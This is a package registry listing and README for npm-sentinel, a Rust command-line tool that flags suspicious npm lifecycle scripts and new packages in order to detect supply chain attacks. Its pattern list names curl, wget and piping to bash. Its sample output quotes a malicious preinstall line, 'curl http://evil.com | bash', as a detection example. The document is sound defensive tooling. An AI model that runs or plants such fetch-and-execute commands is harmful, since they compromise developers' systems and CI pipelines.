| Crates.io | npm_sentinel |
| lib.rs | npm_sentinel |
| version | 0.2.0 |
| created_at | 2025-11-26 15:04:32.485443+00 |
| updated_at | 2025-11-26 16:03:02.108668+00 |
| description | A CLI tool to detect supply chain attacks in npm packages by analyzing lifecycle scripts and registry metadata. |
| homepage | |
| repository | https://github.com/emorilebo/npm_sentinel |
| max_upload_size | |
| id | 1951505 |
| size | 54,427 |
npm-sentinel is a professional-grade security tool designed to protect your development environment from supply chain attacks. By analyzing package.json lifecycle scripts and cross-referencing with the npm registry, it acts as an early warning system against malicious dependencies.
"In a world of compromised packages, be the sentinel."
Supply chain attacks like Shai Hulud 2.0 are on the rise, leveraging malicious preinstall and postinstall scripts to steal credentials and compromise CI/CD pipelines. npm-sentinel helps you:
curl, wget, | bash, encoded payloads) before you install.cargo install npm_sentinel
git clone https://github.com/emorilebo/npm_sentinel.git
cd npm_sentinel
cargo build --release
npm-sentinel is designed for simplicity and speed.
Analyze the current directory for threats:
npm-sentinel
Analyze a specific project or file:
npm-sentinel --path /path/to/project
npm-sentinel --path /path/to/package.json
Get detailed output about every lifecycle script found:
npm-sentinel --verbose
npm-sentinel: Starting analysis...
Target: ./suspicious-package/package.json
Analyzing package: suspicious-lib
[INFO] Lifecycle script found: 'preinstall'
[WARNING] Suspicious pattern 'curl' found in script 'preinstall': curl http://evil.com | bash
Checking registry for 'suspicious-lib'...
Package created: 2025-11-25T10:00:00.000Z (New package!)
We welcome contributions! Please see our CONTRIBUTING.md (coming soon) or simply fork and submit a PR.
This project is licensed under the MIT License - see the LICENSE file for details.
Godfrey Lebo - GitHub